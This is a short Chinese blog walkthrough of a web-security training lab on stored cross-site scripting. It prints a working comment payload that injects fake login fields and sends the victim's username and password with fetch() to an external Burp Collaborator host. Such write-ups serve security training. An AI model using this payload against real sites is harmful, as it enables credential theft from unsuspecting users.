Lab: Exploiting cross-site scripting to capture passwords:利用XSS来窃取密码

靶场内容

本实验包含博客评论功能中的存储型 XSS漏洞。一个模拟的受害者用户在发布后查看所有评论。为了破解实验室,利用该漏洞窃取受害者的用户名和密码,然后使用这些凭据登录受害者的帐户。

解决方法

  • 将脚本放到评论区:
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://kwkml3x2cqtjs322yuesydmrqiw8kx.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
  • 抓下来:HTTP报文里面有密码
    image
  • 登录即可
posted @ 2021-08-24 21:47  Zeker62  阅读(112)  评论(0编辑  收藏  举报